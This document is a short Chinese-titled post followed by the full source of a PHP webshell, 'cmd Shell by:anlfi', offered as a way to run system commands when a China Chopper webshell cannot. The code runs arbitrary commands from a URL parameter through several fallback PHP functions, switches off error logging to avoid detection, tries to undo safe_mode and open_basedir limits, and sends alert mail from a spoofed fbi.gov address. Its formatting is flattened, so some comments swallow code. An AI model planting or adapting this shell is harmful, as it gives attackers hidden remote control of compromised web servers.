当webshell不可执行cmshell时（菜刀的安全模式!）可用此脚本突破执行cmd命令

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<?php/*
==============
*/error_reporting(0);
ini_set('max_execution_time',0);// ------------------------------------- Some header Functions (Need to be on top) ---------------------------------\/**************** Defines *********************************/$user = "anlfi";
$pass = "XXX";
$sm = @ini_get('safe_mode');
$SEPARATOR = '/'; // Default Directory separator
$os = "N/D";
if(stristr(php_uname(),"Windows"))
{
$SEPARATOR = '\\';
$os = "Windows";
}
else if(stristr(php_uname(),"Linux"))
{
$os = "Linux";
}//*************************************************************/// -------------- Traceback Functionsfunction sendLoginAlert()
{
global $ownerEmail;
global $url;
$accesedIp = $_SERVER['REMOTE_ADDR'];
$randomInt = rand(0,1000000); # to avoid id blocking
$from = "ani-shell$[email]randomInt@fbi.gov[/email]"; //echo $from; if(function_exists('mail'))
{
$subject = "Shell Accessed -- Ani-Shell --";
$message = "
Hey Owner , Your Shell(Ani-Shell) located at $url was accessed by $accesedIp If its not you :- 1. Please check if the shell is secured.
2. Change your user name and Password.
3. Check if lock is 0n!
and Kick that ****** out! Thanking YouYours Faithfully
Ani-Shell
";
mail($ownerEmail,$subject,$message,'From:'.$from);
}
}//---------------------------------------------------------if(function_exists('session_start') && $lock == 'on')
{
session_start();
}
else
{
// The lock will be set to 'off' if the session_start fuction is disabled i.e if sessions are not supported
$lock = 'off';
}//logoutif(isset($_GET['logout']) && $lock == 'on')
{
$_SESSION['authenticated'] = 0;
session_destroy();
header("location: ".$_SERVER['PHP_SELF']);
}ini_set('max_execution_time',0);/***************** Restoring *******************************/ini_restore("safe_mode");
ini_restore("open_basedir");if(function_exists('ini_set'))
{
ini_set('error_log',NULL); // No alarming logs
ini_set('log_errors',0); // No logging of errors
}else
{
ini_alter('error_log',NULL);
ini_alter('log_errors',0);
}// ----------------------------------------------------------------------------------------------------------------?>
<html>
<head>
<title>cmd Shell by:anlfi</title><style>
/*
==========================
CSS Section
==========================
*/
*{
padding:0;
margin:0;
}.alert
{
background:red;
color:white;
font-weight:bold;
}
td.info
{
width:0px;
}.bind
{
border: 1px solid #333333;
margin: 15px auto 0;
font-size: small;
}div.end *
{
font-size:small;
}div.end
{
width:100%;
background:#222;
}p.blink
{
text-decoration: blink;
}body
{
background-color:black;
color:rgb(35,182,39);
font-family:Tahoma,Verdana,Arial;
font-size: small;
}input.own {
background-color: Green;
color: white;
border : 1px solid #ccc;
}blockquote.small
{
font-size: smaller;
color: silver;
text-align: center;
}table.files
{
border-spacing: 10px;
font-size: small;
}h1 {
padding: 4px;
padding-bottom: 0px;
margin-right : 5px;
}
div.logo
{
border-right: 1px aqua solid;
}
div.header
{
padding-left: 5px;
font-size: small;
text-align: left;
}
div.nav
{
margin-top:1px;
height:30px;
background-color: #ccc;
}
div.nav ul
{
list-style: none;
padding: 4px;
}
div.nav li
{
float: left;
margin-right: 10px;
text-align:center;
}
textarea.cmd
{
border : 1px solid #111;
background-color : green;
font-family: Shell;
color : white;
margin-top: 10px;
font-size:small;
}input.cmd
{
background-color:black;
color: white;
width: 400px;
border : 1px solid #ccc;}
td.maintext
{
font-size: large;
}
#margins
{
margin-left: 10px;
margin-top: 10px;
color:white;
}
table.top
{
border-bottom: 1px solid aqua;
width: 100%;
}
#borders
{
border-top : 1px solid aqua;
border-left:1px solid aqua;
border-bottom: 1px solid aqua;
border-right: 1px solid aqua;
margin-bottom:0;
}
td.file a , .file a
{
color : aqua;
text-decoration:none;
}
a.dir
{
color:white;
font-weight:bold;
text-decoration:none;
}
td.dir a
{
color : white;
text-decoration:none;
}
td.download,td.download2
{
color:green;
}
#spacing
{
padding:10px;
margin-left:200px;
}
th.header
{
background: none repeat scroll 0 0 #191919;
color: white;
border-bottom : 1px solid #333333;
}
p.warning
{
background : red;
color: white;
}
//--------------------------------CSS END------------------------------------------------------*/
</style>
</head><body text="rgb(39,245,10)" bgcolor="black">
<?phpif(isset($_POST['user']) && isset($_POST['pass']) && $lock == 'on')
{
if( $_POST['user'] == $user &&
$_POST['pass'] == $pass )
{
$_SESSION['authenticated'] = 1;
// --------------------- Tracebacks --------------------------------
if($tracebackFeature == 'On')
{
sendLoginAlert();
}
// ------------------------------------------------------------------
}
}if($lock == 'off')
{?>
<p class="warning"><b>Lock is Switched Off! , The shell can be accessed by anyone!</b></p>
<?php
}if($lock == 'on' && (!isset($_SESSION['authenticated']) || $_SESSION['authenticated']!=1) )
{?>
<table>
<tbody>
<tr>
<td width="500px">
<pre>
<font color="Orange">
<b>
[]--------------cmd Shell-----------------
</b>
</pre>
</td>
<td>

<form method="POST" action="<?php echo $_SERVER['PHP_SELF'];?>">
<input name="user" value="Username"/> <input name="pass" type="" value=""/> <input class="own" type="Submit" value="in!"/>
</form>
</td>
</tr>
</tbody>
</table>
<?php
}
//---------------------------------- We are authenticated now-------------------------------------
//Launch the shell
else
{
//---------------------------------- Fuctions --------------------------------------------------- function showDrives()
{
global $self;
foreach(range('A','Z') as $drive)
{
if(is_dir($drive.':\\'))
{
?>
<a class="dir" href='<?php echo $self ?>?dir=<?php echo $drive.":\\"; ?>'>
<?php echo $drive.":\\" ?>
</a>
<?php
}
}
} function HumanReadableFilesize($size)
{ $mod = 1024; $units = explode(' ','B KB MB GB TB PB');
for ($i = 0; $size > $mod; $i++)
{
$size /= $mod;
} return round($size, 2) . ' ' . $units[$i];
}function getClientIp()
{
echo $_SERVER['REMOTE_ADDR'];
}function getServerIp()
{
echo getenv('SERVER_ADDR');
}
function getSoftwareInfo()
{
echo php_uname();
}
function diskSpace()
{
echo HumanReadableFilesize(disk_total_space("/"));
}
function freeSpace()
{
echo HumanReadableFilesize(disk_free_space("/"));
}
function getSafeMode()
{
global $sm;
echo($sm?"ON :( :'( (Most of the Features will Not Work!)":"OFF");}function getDisabledFunctions()
{
if(!ini_get('disable_functions'))
{
echo "None";
}
else
{
echo @ini_get('disable_functions');
}
}function getFilePermissions($file)
{$perms = fileperms($file);if (($perms & 0xC000) == 0xC000) {
// Socket
$info = 's';
} elseif (($perms & 0xA000) == 0xA000) {
// Symbolic Link
$info = 'l';
} elseif (($perms & 0x8000) == 0x8000) {
// Regular
$info = '-';
} elseif (($perms & 0x6000) == 0x6000) {
// Block special
$info = 'b';
} elseif (($perms & 0x4000) == 0x4000) {
// Directory
$info = 'd';
} elseif (($perms & 0x2000) == 0x2000) {
// Character special
$info = 'c';
} elseif (($perms & 0x1000) == 0x1000) {
// FIFO pipe
$info = 'p';
} else {
// Unknown
$info = 'u';
}// Owner
$info .= (($perms & 0x0100) ? 'r' : '-');
$info .= (($perms & 0x0080) ? 'w' : '-');
$info .= (($perms & 0x0040) ?
(($perms & 0x0800) ? 's' : 'x' ) :
(($perms & 0x0800) ? 'S' : '-'));// Group
$info .= (($perms & 0x0020) ? 'r' : '-');
$info .= (($perms & 0x0010) ? 'w' : '-');
$info .= (($perms & 0x0008) ?
(($perms & 0x0400) ? 's' : 'x' ) :
(($perms & 0x0400) ? 'S' : '-'));// World
$info .= (($perms & 0x0004) ? 'r' : '-');
$info .= (($perms & 0x0002) ? 'w' : '-');
$info .= (($perms & 0x0001) ?
(($perms & 0x0200) ? 't' : 'x' ) :
(($perms & 0x0200) ? 'T' : '-'));return $info;}/***********************************************************/
// exec_all , A function used to execute commands , This function will only execute if the Safe Mode is
// Turned OfF!
/**********************************************************/function exec_all($command)
{ $output = '';
if(function_exists('exec'))
{
exec($command,$output);
$output = join("\n",$output);
} else if(function_exists('shell_exec'))
{
$output = shell_exec($command);
} else if(function_exists('popen'))
{
$handle = popen($command , "r"); // Open the command pipe for reading
if(is_resource($handle))
{
if(function_exists('fread') && function_exists('feof'))
{
while(!feof($handle))
{
$output .= fread($handle, 512);
}
}
else if(function_exists('fgets') && function_exists('feof'))
{
while(!feof($handle))
{
$output .= fgets($handle,512);
}
}
}
pclose($handle);
} else if(function_exists('system'))
{
ob_start(); //start output buffering
system($command);
$output = ob_get_contents(); // Get the ouput
ob_end_clean(); // Stop output buffering
} else if(function_exists('passthru'))
{
ob_start(); //start output buffering
passthru($command);
$output = ob_get_contents(); // Get the ouput
ob_end_clean(); // Stop output buffering
} else if(function_exists('proc_open'))
{
$descriptorspec = array(
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
);
$handle = proc_open($command ,$descriptorspec , $pipes); // This will return the output to an array 'pipes'
if(is_resource($handle))
{
if(function_exists('fread') && function_exists('feof'))
{
while(!feof($pipes[1]))
{
$output .= fread($pipes[1], 512);
}
}
else if(function_exists('fgets') && function_exists('feof'))
{
while(!feof($pipes[1]))
{
$output .= fgets($pipes[1],512);
}
}
}
pclose($handle);
}
else
{
$output = "They have their Security there! :( ";
} return(htmlspecialchars($output));}
function magicQuote($text)
{
if (!get_magic_quotes_gpc())
{
return $text;
}
return stripslashes($text);
}
//------------------------------------------------------------------------------------------------?>
</div>
<div class="nav">
<ul>
<li><a href="<?php echo $self.'?shell';?>">Shell</a></li>
<?php if($lock == 'on')
{
?>
<li><a href="<?php echo $self.'?logout'?>">I m Out!</a></li>
<?php
}
?>
</ul>
</div>
/////////by:Anlfi//////////
<?php
//-------------------------------- Check what he wants -------------------------------------------// Shellif(isset($_GET['shell']))
{
if(!isset($_GET['cmd']) || $_GET['cmd'] == '')
{
$result = "";
}
else
{
$result=exec_all($_GET['cmd']);
}
?>
<textarea class="cmd" cols="100" rows="20"><?php echo $result;?></textarea>
<form action="<?php echo $self;?>" method="GET">

<input name="shell" type="hidden" />

<input name="cmd" class="cmd" />
<input name="submit" value="Run!" class="own" type="submit" />
</form>
<?php
}
}?>